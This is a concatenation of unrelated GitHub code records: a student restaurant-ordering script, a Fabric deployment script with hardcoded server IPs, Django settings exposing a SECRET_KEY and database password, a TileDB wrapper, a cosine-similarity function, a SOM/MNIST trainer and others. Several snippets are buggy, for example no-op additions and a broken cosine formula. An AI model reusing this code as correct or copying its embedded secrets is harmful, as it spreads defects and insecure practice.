= \"Triple w/ Cheese\"\n elif krabbypatty == \"m\":\n #Ordering Meal/Combo\n krabbypatty = input(f'''What size meal would you like? \n $3.50 Small = s\n $3.75 Medium = m\n $4.00 Large = l\n ''') #asking for meal size\n if krabbypatty==\"S\" or krabbypatty==\"M\" or krabbypatty==\"L\":\n orderInformation+=(f\"\\tKrabby Patty:\\t{krabbypatty}\\n\")\n order = [\"\", \"\", \"\", 0] \n chooseSandwich=True\n if krabbypatty == \"s\":\n total+3.5\n krabbypatty = \"Small\"\n elif krabbypatty == \"m\":\n total+3.75\n krabbypatty = \"Medium\"\n elif krabbypatty == \"l\": \n total+4\n krabbypatty = \"Large\"\n else:\n orderMasterList.append(\"No Sandwich\")\n \n \n \n #order other meals\n orderInformation = \"\\nYour Order:\\n\"\n chooseSandwich,chooseFries,chooseDrink = False,False,False\n order = [\"\", \"\", \"\", 0] \n othermeal = input(\"Would you like to see our different meal list? (y,n)\")\n if othermeal == \"y\":\n print(f'''\n Salty Sea Dog $1.25\n Footlong $2.00\n Sailors Suprise $3.00\n Golden Loaf $2.00 with sauce $2.50\n ''')\n othermeal = input(\"Would you like to buy from the meal list? (y,n)\")\n if othermeal == \"y\":\n othermeal = input(f'''What would you like?\n Salty Sea Dog = ssd\n Footlong = ft\n Sailors Suprise = ss\n Golden Loaf = gl\n Golden Loaf with Cheese = glc\n ''')\n if othermeal == \"ssd\":\n othermeal == \"Salty Sea Dog\"\n total+1.25\n elif othermeal == \"ft\":\n othermeal == \"Footlong\"\n total+2\n elif othermeal == \"ss\":\n othermeal == \"Sailors Suprise\"\n total+3\n elif othermeal == \"glc\":\n othermeal == \"Golden Loaf with Cheese\"\n total+2.5\n else:\n orderMasterList.append(\"No Other Meal\")\n \n \n \n \n #Ordering Beverage\n drink = input(f'''Would you like a drink?\n Yes = y\n No = n\n ''')\n if drink == \"y\":\n chooseDrink=True\n drink = input(f'''What drink would you like?\n Seafoam Soda or Kelp Shake?\n Seafoam Soda = ss\n Kelp Shake = ks\n ''')\n if drink == \"ss\":\n orderMasterList.append(\"Seafoam Soda\")\n orderInformation+=(f\"\\tDrink:\\t\\t{drink}\\n\")\n drink == input(f'''What size would you like?\n Small = s\n Medium = m\n Large = l \n ''')\n if drink == \"s\":\n total+1\n drink=\"Small Seafoam Soda\"\n elif drink == \"m\": \n total+1.25\n drink=\"Medium Seafoam Soda\"\n elif drink == \"l\":\n total+1.5\n drink=\"Large Seafoam Soda\"\n elif drink==\"ks\":\n total+2\n drink=\"Kelp Shake\"\n orderMasterList.append(\"Kelp Shake\")\n orderInformation+=(f\"\\tDrink:\\t\\t{drink}\\n\")\n order[beverage_index]=drink #replace whatever is in the order list\n \n else:\n orderMasterList.append(\"No Drink\")\n \n \n \n #Coral Bits/Kelp Rings\n fries = input(f'''Would you like Coral Bits with that? Or Kelp Rings?\n Yes = y\n No = n\n Kelp Rings = ks\n ''')\n if fries == \"y\":\n chooseFries=True\n fries = input(f'''Which size? s,m,l \n Small = s\n Medium = m\n Large = l\n ''')\n orderMasterList.append(\"Coral Bits\")\n orderInformation+=(f\"\\tSide:\\t\\t{fries}\\n\")\n if fries == \"s\":\n fries=\"Small\"\n total+1\n elif fries == \"m\":\n fries=\"Medium\"\n total+1.75\n elif fries == \"l\":\n fries=\"Large\"\n total+2\n elif fries == \"kr\":\n fries = \"Kelp Rings\"\n total+1.5\n else: \n orderMasterList.append(\"No Side\")\n\n\n\n #Salty Sauce\n saltysauce = int(input(\"How many salty sauce packets do you want? ($.25 ea) \"))\n total+= (saltysauce* .5)\n orderInformation+=(f\"\\tSalty Sauce:\\t{saltysauce}\\n\")\n orderInformation+=(f\"\\tSubtotal: $\\t{total}\\n\")\n \n \n \n #total with tax\n finaltotal = total\n finaltotal+=finaltotal*tax\n finaltotal = str(round(finaltotal, 2))\n #if in our list a \"\" exist\n if not(\"\" in order):\n total-=1\n \n \n # print(orderInformation)\n\n orderPrintOut = (f'''\n Your order:\n Sandwich: {krabbypatty}\n Other Meal: {othermeal}\n Drink: {drink}\n Side: {fries}\n Salty Sauce: {saltysauce}\n Subtotal: ${total}\n Final Total: ${finaltotal}\n ​\n ''')\n\n orderMasterList.append(order)\n runningTotalPrintOut += orderPrintOut\n \n\n if (input(\"Do you want another order? (y/n)\")==\"n\"):\n keepordering = False\n\n \nprint(orderMasterList)\nprint(runningTotalPrintOut)","repo_name":"Horstman2004/2122AMnotes","sub_path":"CSE/Unit3/HorstmanKrabsRev0.py","file_name":"HorstmanKrabsRev0.py","file_ext":"py","file_size_in_byte":6519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38271857880","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\"\"\"\n@file:datamallupdate.py\n@time:2017/5/4 17:28\n\"\"\"\nfrom fabric.colors import *\nfrom fabric.api import *\nimport os\n# 测试环境主机ip\nenv.hosts = ['42.159.28.126:55915']\nenv.gateway = '124.243.248.109:22'\nenv.colorze_errors = True\nenv.rootDirectory = '/opt/workspace/tomcat/tomcat-datamall/webapps/'\nenv.dataMall = 'dataMall.zip'\n'''\n1、上传包\n2、停止tomcat\n3、unzip 包\n4、删除ROOT包\n5、重命名datamall-->ROOT --》修改权限\n6、启动tomcat\n'''\ndef put_zip():\n localDir = os.getcwd()\n with cd(localDir):\n put(env.dataMall,env.rootDirectory)\n\ndef stop_tomcat():\n run(\" ps aux | grep ClassLoaderLogManager|grep datamall | egrep -v 'grep' |awk '{print $2}' | xargs kill\")\n\ndef update():\n with cd(env.rootDirectory):\n run(\"unzip %s\" % env.dataMall)\n run(\"rm -fr ROOT && mv dataMall ROOT\")\n run(\"chown -R jumpserver:jumpserver ROOT\")\n run(\"rm -fr %s\" % env.dataMall)\n@task\ndef start_tomcat():\n run('. /etc/profile && su jumpserver -l -c \"/opt/workspace/tomcat/tomcat-datamall/bin/startup.sh\" ')\n\n\n@task\ndef go():\n put_zip()\n stop_tomcat()\n update()\n start_tomcat()","repo_name":"wqk151/python","sub_path":"Fabric/update/datamallupdate.py","file_name":"datamallupdate.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11406303337","text":"# -*- coding: utf-8 -*-\nimport random\n\n\ndef test_delete_some_contact(app, db, check_ui):\n app.contact.create_if_not_exist()\n list_before = db.get_contact_list()\n contact = random.choice(list_before)\n app.contact.delete_contact_by_id(contact.id_contact)\n assert len(list_before) - 1 == len(db.get_contact_list())\n list_after = db.get_contact_list()\n list_before.remove(contact)\n assert list_before == list_after\n if check_ui:\n assert sorted(list_after) == sorted(app.contact.get_list())\n","repo_name":"SergeyDorokhov/python_training","sub_path":"tests/test_delete_contact.py","file_name":"test_delete_contact.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27602139579","text":"import matplotlib.pyplot as plt\n\nx = [1, 2, 3, 4]\ncpu = [3.210, 204.985, 819.601, 20488.946]\ncpu_gmp = [0.439, 17.472, 70.040, 1744.965]\ncuda = [0.451, 11.254, 43.914, 1083.594]\n\ngroup_labels = ['256', '2048', '4096', '20480']\nplt.title('Running time vs. No. of N with Different processors\\n')\nplt.xlabel('Number of N')\nplt.ylabel('Running Time(s)')\n\n# group_labels = ['seq', '1', '4', '8', '16', '32']\n\n# plt.plot(x1, y1, 'r', label='broadcast')\n# plt.plot(x2, y2, 'b', label='join')\n# plt.xticks(x1, group_labels, rotation=0)\n\nplt.plot(x, cpu, 'r', label='cpu', marker='.')\nplt.plot(x, cpu_gmp, 'b', label='cpu-gmp', marker='.')\nplt.plot(x, cuda, 'y', label='cuda', marker='.')\n\n# plt.plot(x4, y4, 'b', label='join')\nplt.xticks(x, group_labels, rotation=0)\n\nplt.legend(title=\"Processor\", bbox_to_anchor=[0.3, 1])\nplt.grid()\nplt.savefig(\"plot.png\")\nplt.show()\n","repo_name":"mason1002/HackerRank-Python","sub_path":"draw_plot.py","file_name":"draw_plot.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26547369062","text":"import ctypes\nimport os\nimport sys\nfrom typing import Any, Dict, List, Optional, Sequence, Tuple\n\nimport pyarrow as pa\nimport tiledb\nfrom somacore.options import ResultOrder, ResultOrderStr\n\nfrom . import _tdb_handles, _util\nfrom ._arrow_types import tiledb_schema_to_arrow\nfrom ._tiledb_object import TileDBObject\nfrom ._types import OpenTimestamp, is_nonstringy_sequence\nfrom .options._soma_tiledb_context import SOMATileDBContext\n\n\ndef _load_libs() -> None:\n \"\"\"Loads the required TileDB-SOMA native library.\"\"\"\n if sys.platform == \"darwin\":\n lib_name = \"libtiledbsoma.dylib\"\n else:\n lib_name = \"libtiledbsoma.so\"\n\n try:\n # Try loading the bundled native library.\n lib_dir = os.path.dirname(os.path.abspath(__file__))\n ctypes.CDLL(os.path.join(lib_dir, lib_name))\n except OSError:\n # Otherwise try loading by name only.\n ctypes.CDLL(lib_name)\n\n\n# Load native libraries\n_load_libs()\n\n# This package's pybind11 code\nfrom . import pytiledbsoma as clib # noqa: E402\n\n\nclass TileDBArray(TileDBObject[_tdb_handles.ArrayWrapper]):\n \"\"\"Wraps arrays from TileDB-Py by retaining a URI, options, etc.\n Also serves as an abstraction layer to hide TileDB-specific details\n from the API, unless requested.\n\n Lifecycle:\n Experimental.\n \"\"\"\n\n __slots__ = ()\n\n _wrapper_type = _tdb_handles.ArrayWrapper\n\n @property\n def schema(self) -> pa.Schema:\n \"\"\"Returns data schema, in the form of an\n `Arrow Schema `_.\n\n Lifecycle:\n Experimental.\n \"\"\"\n return tiledb_schema_to_arrow(self._tiledb_array_schema(), self.uri, self._ctx)\n\n def _tiledb_array_schema(self) -> tiledb.ArraySchema:\n \"\"\"Returns the TileDB array schema, for internal use.\"\"\"\n return self._handle.schema\n\n def _tiledb_array_keys(self) -> Tuple[str, ...]:\n \"\"\"Return all dim and attr names.\"\"\"\n return self._tiledb_dim_names() + self._tiledb_attr_names()\n\n def _tiledb_dim_names(self) -> Tuple[str, ...]:\n \"\"\"Reads the dimension names from the schema: for example, ['obs_id', 'var_id'].\"\"\"\n schema = self._handle.schema\n return tuple(schema.domain.dim(i).name for i in range(schema.domain.ndim))\n\n def _tiledb_attr_names(self) -> Tuple[str, ...]:\n \"\"\"Reads the attribute names from the schema:\n for example, the list of column names in a dataframe.\n \"\"\"\n schema = self._handle.schema\n return tuple(schema.attr(i).name for i in range(schema.nattr))\n\n def _tiledb_domain(self) -> Tuple[Tuple[Any, Any], ...]:\n schema = self._handle.schema\n return tuple(schema.domain.dim(i).domain for i in range(0, schema.domain.ndim))\n\n def _soma_reader(\n self,\n *,\n schema: Optional[tiledb.ArraySchema] = None,\n column_names: Optional[Sequence[str]] = None,\n query_condition: Optional[tiledb.QueryCondition] = None,\n result_order: Optional[ResultOrderStr] = None,\n ) -> clib.SOMAArray:\n \"\"\"Constructs a C++ SOMAArray using appropriate context/config/etc.\"\"\"\n # Leave empty arguments out of kwargs to allow C++ constructor defaults to apply, as\n # they're not all wrapped in std::optional<>.\n kwargs: Dict[str, object] = {}\n # if schema:\n # kwargs[\"schema\"] = schema\n if column_names:\n kwargs[\"column_names\"] = column_names\n if query_condition:\n kwargs[\"query_condition\"] = query_condition\n if result_order:\n result_order_map = {\n \"auto\": clib.ResultOrder.automatic,\n \"row-major\": clib.ResultOrder.rowmajor,\n \"column-major\": clib.ResultOrder.colmajor,\n }\n result_order_enum = result_order_map[ResultOrder(result_order).value]\n kwargs[\"result_order\"] = result_order_enum\n return clib.SOMAArray(\n self.uri,\n name=f\"{self} reader\",\n platform_config=self._ctx.config().dict(),\n timestamp=(0, self.tiledb_timestamp_ms),\n **kwargs,\n )\n\n def _set_reader_coords(self, sr: clib.SOMAArray, coords: Sequence[object]) -> None:\n \"\"\"Parses the given coords and sets them on the SOMA Reader.\"\"\"\n if not is_nonstringy_sequence(coords):\n raise TypeError(\n f\"coords type {type(coords)} must be a regular sequence,\"\n \" not str or bytes\"\n )\n schema = self._handle.schema\n if len(coords) > schema.domain.ndim:\n raise ValueError(\n f\"coords ({len(coords)} elements) must be shorter than ndim\"\n f\" ({schema.domain.ndim})\"\n )\n for i, coord in enumerate(coords):\n dim = self._handle.schema.domain.dim(i)\n if not self._set_reader_coord(sr, i, dim, coord):\n raise TypeError(\n f\"coord type {type(coord)} for dimension {dim.name}\"\n f\" (slot {i}) unsupported\"\n )\n\n def _set_reader_coord(\n self, sr: clib.SOMAArray, dim_idx: int, dim: tiledb.Dim, coord: object\n ) -> bool:\n \"\"\"Parses a single coordinate entry.\n\n The base implementation parses the most fundamental types shared by all\n TileDB Array types; subclasses can implement their own readers that\n handle types not recognized here.\n\n Returns:\n True if successful, False if unrecognized.\n \"\"\"\n del dim_idx # Unused.\n if coord is None:\n return True # No constraint; select all in this dimension\n\n if isinstance(coord, int):\n sr.set_dim_points_int64(dim.name, [coord])\n return True\n if isinstance(coord, slice):\n _util.validate_slice(coord)\n try:\n lo_hi = _util.slice_to_numeric_range(coord, dim.domain)\n except _util.NonNumericDimensionError:\n return False # We only handle numeric dimensions here.\n if lo_hi:\n sr.set_dim_ranges_int64(dim.name, [lo_hi])\n # If `None`, coord was `slice(None)` and there is no constraint.\n return True\n return False\n\n @classmethod\n def _create_internal(\n cls,\n uri: str,\n schema: tiledb.ArraySchema,\n context: SOMATileDBContext,\n tiledb_timestamp: Optional[OpenTimestamp],\n ) -> _tdb_handles.ArrayWrapper:\n \"\"\"Creates the TileDB Array for this type and returns an opened handle.\n\n This does the work of creating a TileDB Array with the provided schema\n at the given URI, sets the necessary metadata, and returns a handle to\n the newly-created array, open for writing.\n \"\"\"\n tiledb.Array.create(uri, schema, ctx=context.tiledb_ctx)\n handle = cls._wrapper_type.open(uri, \"w\", context, tiledb_timestamp)\n cls._set_create_metadata(handle)\n return handle\n\n def _consolidate_and_vacuum(\n self, modes: List[str] = [\"fragment_meta\", \"commits\"]\n ) -> None:\n \"\"\"\n This post-ingestion helper consolidates and vacuums fragment metadata and commit files --\n this is quick to do, and positively impacts query performance. It does _not_ consolidate\n bulk array data, which is more time-consuming and should be done at the user's opt-in\n discretion.\n \"\"\"\n\n for mode in modes:\n self._consolidate(modes=[mode])\n self._vacuum(modes=[mode])\n\n def _consolidate(self, modes: List[str] = [\"fragment_meta\", \"commits\"]) -> None:\n \"\"\"\n This post-ingestion helper consolidates by default fragment metadata and commit files --\n this is quick to do, and positively impacts query performance.\n \"\"\"\n\n for mode in modes:\n cfg = self._ctx.config()\n cfg[\"sm.consolidation.mode\"] = mode\n ctx = tiledb.Ctx(cfg)\n\n tiledb.consolidate(self.uri, ctx=ctx)\n\n def _vacuum(self, modes: List[str] = [\"fragment_meta\", \"commits\"]) -> None:\n \"\"\"\n This post-ingestion helper vacuums by default fragment metadata and commit files. Vacuuming is not multi-process safe and requires coordination that nothing is currently reading the files that will be vacuumed.\n \"\"\"\n\n for mode in modes:\n cfg = self._ctx.config()\n cfg[\"sm.vacuum.mode\"] = mode\n ctx = tiledb.Ctx(cfg)\n\n tiledb.vacuum(self.uri, ctx=ctx)\n","repo_name":"single-cell-data/TileDB-SOMA","sub_path":"apis/python/src/tiledbsoma/_tiledb_array.py","file_name":"_tiledb_array.py","file_ext":"py","file_size_in_byte":8583,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"48"} +{"seq_id":"32302352451","text":"import json\nfrom moto.core.exceptions import JsonRESTError\n\n\nclass AthenaClientError(JsonRESTError):\n def __init__(self, code: str, message: str):\n super().__init__(error_type=\"InvalidRequestException\", message=message)\n self.description = json.dumps(\n {\n \"Error\": {\n \"Code\": code,\n \"Message\": message,\n \"Type\": \"InvalidRequestException\",\n },\n \"RequestId\": \"6876f774-7273-11e4-85dc-39e55ca848d1\",\n }\n )\n","repo_name":"getmoto/moto","sub_path":"moto/athena/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":7174,"dataset":"github-code","pt":"48"} +{"seq_id":"1933452050","text":"import math\n\n\ndef distance(profil1, profil2):\n if len(profil1) == len(profil2):\n\n pscalaire = 0.0\n normp1 = 0.0\n normp2 = 0.0\n for i in range(len(profil1)):\n pscalaire += profil1 * profil2\n normp1 += profil1 ** 2\n normp2 += profil2 ** 2\n normp1 += math.sqrt(normp1)\n normp2 += math.sqrt(normp2)\n\n return math.sqrt(pscalaire / (normp1 * normp2))\n else:\n raise ValueError('Cosine similarity need vectors of the same size.')\n","repo_name":"boubouhkarim/iko","sub_path":"algorithms/similarities/cosine.py","file_name":"cosine.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22429772695","text":"##################################################\n##本代码实现并训练了一个解决MNIST手写数字识别的SOM模型\n##语言:Python3\n##################################################\n\n#!/usr/bin/env python\n# coding: utf-8\n\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport matplotlib as mpl\n\n\n\ndata = np.loadtxt(\"./SOM_MNIST_data.txt\").transpose()\n#data.shape\n#导入数据\n#文件中有5000条数据,每个数据有784个特征\n\n\n\ndef normal_X(X):\n #数据归一化处理\n N, D = X.shape\n for i in range(N):\n temp = np.sum(np.multiply(X[i], X[i]))\n X[i] /= np.sqrt(temp)\n return X\n\n\n\ndef normal_W(W):\n #权重归一化处理\n for i in range(W.shape[1]):\n temp = np.sum(np.multiply(W[:,i], W[:,i]))\n W[:, i] /= np.sqrt(temp)\n return W\n\n\n\nclass SOM(object):\n def __init__(self, X, output, iteration, batch_size):\n self.X = X\n self.output = output\n self.iteration = iteration\n self.batch_size = batch_size\n self.W = np.random.rand(X.shape[1], output[0] * output[1])\n np.savetxt('initial.txt',self.W.transpose())\n \n def getneighbor(self, index, N):\n #获得获胜神经元的拓扑领域\n a, b = self.output\n length = a*b\n def distence(index1, index2):\n i1_a, i1_b = index1 // a, index1 % b\n i2_a, i2_b = index2 // a, index2 % b\n return np.abs(i1_a - i2_a), np.abs(i1_b - i2_b)\n ans = [set() for i in range(N+1)]\n for i in range(length):\n dist_a, dist_b = distence(i, index)\n if dist_a <= N and dist_b <= N: \n ans[max(dist_a, dist_b)].add(i)\n return ans\n\n def GetN(self, t):\n a = min(self.output)\n return int(a - float(a) * t/self.iteration)\n \n def Geteta(self, t, n):\n #依赖于迭代次数的学习率\n return np.power(np.e, -n) / (t + 2)\n \n def updata_W(self, X, t, winner):\n #更新权重,包括获胜神经元的权重以及获胜神经元所处拓扑领域的权重\n N = self.GetN(t)\n for x, i in enumerate(winner):\n to_update = self.getneighbor(i, N)\n for j in range(N+1):\n e = self.Geteta(t, j)\n for w in to_update[j]:\n self.W[:, w] = np.add(self.W[:,w], e*(X[x,:] - self.W[:,w]))\n\n\n def train(self):\n #训练过程\n count = 0\n list_mse= []\n while self.iteration > count:\n train_X = self.X[np.random.choice(self.X.shape[0], self.batch_size)]\n normal_W(self.W)\n normal_X(train_X)\n train_Y = train_X.dot(self.W)\n winner = np.argmax(train_Y, axis=1).tolist()\n #print(winner)\n self.updata_W(train_X, count, winner)\n count += 1\n #print(np.max(train_Y, axis=1))\n mse = np.min(train_Y,axis=1).sum()/200\n #print(mse)\n list_mse.append(mse)\n #if count == self.iteration/2:\n #np.savetxt('middle.txt',self.W.transpose())\n return self.W,list_mse \n \n #下面的内容是聚类函数的实现,根据训练出来的权重,将数据集进行聚类,聚类函数输出测试数据在竞争层中的坐标\n def cluster(self, X):\n X = normal_X(X)\n m = X.shape[0]\n cluster_labels = []\n for i in range(m):\n dis = X[i].dot(normal_W(self.W))\n re_dis = dis.reshape(self.output[0],self.output[1])\n l = np.where(re_dis == np.max(re_dis))\n cluster_labels.append(l)\n return np.array(cluster_labels)\n\n\n\n##实例化,输入数据集,定义SOM的竞争层的结构是10*10,并且定义迭代次数和batch数量\nsom = SOM(data,(10,10),1000,1000)\n\nw,mse = som.train()\n\nnp.savetxt('final.txt',normal_W(w).transpose())\n\nnp.savetxt('train.txt',mse)\n\n\n\n##下面的内容是绘制SOM竞争层拓扑结构,initial.txt中存储的是初始状态,final.txt中存储的是经过训练后的状态\nfrom PIL import Image\n \nconverge = np.loadtxt('final.txt')\ninitial = np.loadtxt('initial.txt')\n\n\n\n#绘制初始状态,可以看出,开始时的竞争层是随机的,无结构的\npicture_initial = np.zeros((280,280))\nfor i in range(10):\n for j in range(10):\n picture_initial[28*i:28*(i+1),28*j:28*(j+1)] = initial[i*10+j].reshape(28,28).transpose()\n\npic_initial = np.expand_dims(np.uint8(picture_initial * 255/np.max(picture_initial)),2).repeat(3,axis=2)\nImage.fromarray(pic_initial)\n\n\n\n##注:需要注意的是,由于初始的权重值是随机的,所以每次运行时,最终的结构不尽相同。\n#绘制最终状态,可以看出此时的竞争层已经有了相对完整、清晰的拓扑结构,\n#但是同样可以看出,该算法的表现并不完美,图中有一部分”4“与”9“没有区分开\npicture_converge = np.zeros((280,280))\nfor i in range(10):\n for j in range(10):\n picture_converge[28*i:28*(i+1),28*j:28*(j+1)] = converge[i*10+j].reshape(28,28).transpose()\n\npic_final = np.expand_dims(np.uint8(picture_converge * 255/np.max(picture_converge)),2).repeat(3,axis=2)\nImage.fromarray(pic_final)\n\n\n\n##对SOM进行测试\n#为了可视化,这里选择抽取一条mnist中的数据进行测试并将其可视化。如果需要,比如说批量识别手写数字,也可以输入整个数据集\n#首先,随机从mnist数据集中抽取一条数据\nXhat = data[169:170,:]\n\n#将这条数据可视化,可以看出这是一个手写的“4”\nre_Xhat = Xhat.reshape(28,28).transpose()\npic_Xhat = np.expand_dims(np.uint8(re_Xhat * 255/np.max(re_Xhat)),2).repeat(3,axis=2)\nImage.fromarray(pic_Xhat)\n\n\n\n#利用聚类函数测试SOM\nX_topology = som.cluster(Xhat)\n#输出这条测试数据在SOM拓扑结构中的坐标\nprint(X_topology)\n\n\n\n#可以看出,这条数据落在了SOM拓扑结构的第3+1=4行,第6+1=7列,通过上面对SOM整体结构的可视化可以看出,第4行第7列是”4“\n\n\n\n##模型效果分析\n#可视化模型多次迭代的mse\nimport csv\nfileName = './train.txt'\nwith open(fileName) as f:\n reader = csv.reader(f)\n index, mse = [], []\n for ind, row in enumerate(reader):\n index.append(ind+1)\n mse.append(float(row[0]))\n #print(index)\n #print(mse)\n plt.plot(index,mse)\n plt.xlabel('Iterations')\n plt.ylabel('Value')\n plt.show()\n\n\n\n\n\n","repo_name":"SDKatherine/Machine-Learning-Fundamentals","sub_path":"1.Handwritten Digit Recognition Algorithm Based on SOM/SOM.py","file_name":"SOM.py","file_ext":"py","file_size_in_byte":6429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22835244463","text":"__author__ = 'tmatsuo@sios.com (Takashi MATSUO)'\n\nimport logging\nimport os\n\n# For plugins for gheimdall.\nimport sys\ntry:\n import gheimdall2\n sys.modules['gheimdall'] = sys.modules['gheimdall2']\nexcept:\n pass\n\nDEBUG = False\nTEMPLATE_DEBUG = DEBUG\nINTERNAL_IPS = ('127.0.0.1')\n\n#CONFDIR = os.path.join(os.path.dirname(__file__), 'conf')\nCONFDIR = '/etc/gheimdall2'\nEXTCONFDIR = os.path.join(CONFDIR, \"conf.d\")\nCONFFILE = 'gheimdall2.conf'\n\nfile_logger = logging.FileHandler(\"/var/log/gheimdall2/error.log\")\nfile_logger.setLevel(logging.WARN)\nformatter = logging.Formatter('%(asctime)s: %(pathname)s: %(lineno)d: %(name)s: %(levelname)s: %(message)s')\nfile_logger.setFormatter(formatter)\nlogging.getLogger('').addHandler(file_logger)\nlogging.getLogger().setLevel(logging.WARN)\n\nADMINS = (\n ('admin', 'root@localhost'),\n)\n\nMANAGERS = ADMINS\n\nEMAIL_HOST = 'localhost'\n\nDATABASE_ENGINE = 'sqlite3' # 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'.\n#DATABASE_OPTIONS = {\"init_command\": \"SET storage_engine=INNODB\"}\nDATABASE_NAME = '/var/gheimdall2/gheimdall2.sqlite' # Or path to database file if using sqlite3.\nDATABASE_USER = 'gheimdall2' # Not used with sqlite3.\nDATABASE_PASSWORD = 'gheimdall2' # Not used with sqlite3.\nDATABASE_HOST = '' # Set to empty string for localhost. Not used with sqlite3.\nDATABASE_PORT = '' # Set to empty string for default. Not used with sqlite3.\n\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# If running in a Windows environment this must be set to the same as your\n# system time zone.\nTIME_ZONE = 'America/Chicago'\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'en-us'\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# Absolute path to the directory that holds media.\n# Example: \"/home/media/media.lawrence.com/\"\nMEDIA_ROOT = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'static/')\n\n# URL that handles the media served from MEDIA_ROOT. Make sure to use a\n# trailing slash if there is a path component (optional in other cases).\n# Examples: \"http://media.lawrence.com\", \"http://example.com/media/\"\nif DEBUG:\n MEDIA_URL = '/gheimdall2/static/'\nelse:\n MEDIA_URL = '/gheimdall2/static/'\n\n# URL prefix for admin media -- CSS, JavaScript and images. Make sure to use a\n# trailing slash.\n# Examples: \"http://foo.com/media/\", \"/media/\".\nADMIN_MEDIA_PREFIX = '/media/'\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = 'h#xua$vzc)zzglgosc(!!c8xkctjluxsvo!6rp!%q=9wgwoza0'\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.load_template_source',\n 'django.template.loaders.app_directories.load_template_source',\n# 'django.template.loaders.eggs.load_template_source',\n)\n\nMIDDLEWARE_CLASSES = (\n 'gheimdall2.middleware.handle_exception.StandardExceptionMiddleware',\n 'gheimdall2.middleware.cache_control.CacheControlMiddleware',\n 'gheimdall2.middleware.ua.UserAgentMobileMiddleware',\n 'django.middleware.locale.LocaleMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n #'djangologging.middleware.LoggingMiddleware',\n)\n\nROOT_URLCONF = 'gheimdall2.urls'\n\nTEMPLATE_DIRS = (\n # Put strings here, like \"/home/html/django_templates\" or \"C:/www/django/templates\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates'),\n)\n\nMOBILE_TEMPLATE_DIR = 'mobile'\n\nINSTALLED_APPS = (\n 'django.contrib.sessions',\n 'gheimdall2.idp',\n)\n\nSTATIC_DOC_ROOT = os.path.join(os.path.dirname(os.path.abspath(__file__)),\n 'static')\n\n#FORCE_SCRIPT_NAME = \"/gheimdall2\"\nSESSION_COOKIE_NAME = 'gh2sessionid'\nSESSION_COOKIE_SECURE = True\nSESSION_ENGINE = 'django.contrib.sessions.backends.file'\nSESSION_FILE_PATH = '/var/gheimdall2/session'\n\nLOG_CRITICAL_TO_FILE = True\n","repo_name":"sunacha3/gheimdall2","sub_path":"gheimdall2/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7761732626","text":"from PySZG import * \nimport random\nimport time\n\nuseRemotePeer = 0\n\nf = arDistSceneGraphFramework();\nif f.init(sys.argv) != 1:\n\tsys.exit()\nif len(sys.argv) < 2:\n\tprint(\"First argument must be local peer name\")\n\tsys.exit()\nif len(sys.argv) >= 3:\n\tprint(\"Will connect to remote peer, which must already be running.\")\n\tuseRemotePeer = 1\nif f.getStandalone():\n\tprint(\"This program only works in cluster mode. Please log in.\")\n\tsys.exit()\npeer = arGraphicsPeer()\npeer.setName(sys.argv[1])\npeer.queueData(0)\npeer.initSZG(f.getSZGClient())\npeer.setTexturePath(f.getSZGClient().getAttribute(\"SZG_RENDER\",\"texture_path\"))\npeer.loadAlphabet(f.getSZGClient().getAttribute(\"SZG_RENDER\",\"text_path\"))\npeer.setBridge(f.getDatabase())\npeer.setBridgeRootMapNode(f.getNavNode())\n\nif peer.start() != 1:\n\tsys.exit()\nif f.start() != 1:\n\tsys.exit()\n\nif useRemotePeer:\n\tif peer.connectToPeer(sys.argv[2]) < 0:\n\t\tprint(\"Failed to connect to specified peer.\")\n\t\tsys.exit()\n\telse:\n\t\tprint(\"Downloading from peer.\")\n\t\tif peer.pullSerial(sys.argv[2], 0, 0, AR_TRANSIENT_NODE, AR_TRANSIENT_NODE, AR_TRANSIENT_NODE) == 0:\n\t\t\tprint(\"Error in downloading\")\nelse:\n\tn = peer.getRoot()\n\tfor i in range(100):\n\t\tworld = n.new(\"transform\", \"world\"+str(i))\n\nworldRoot = peer.find(sys.argv[1])\nif worldRoot == None:\n\tprint(\"Invalid world name. Must be worldN, where n=0-99.\")\n\tpeer.stop()\n\tsys.exit()\nl = worldRoot.new(\"light\")\nlight = arLight()\nlight.position = arVector4(0,0,1,0)\nl.set(light)\t\nt = worldRoot.new(\"transform\")\nt.set(ar_TM(-3 + random.random()*6, 5, -5))\nm = t.new(\"material\")\ns = arSphereMesh(50)\ns.attachMesh(m)\nwhile 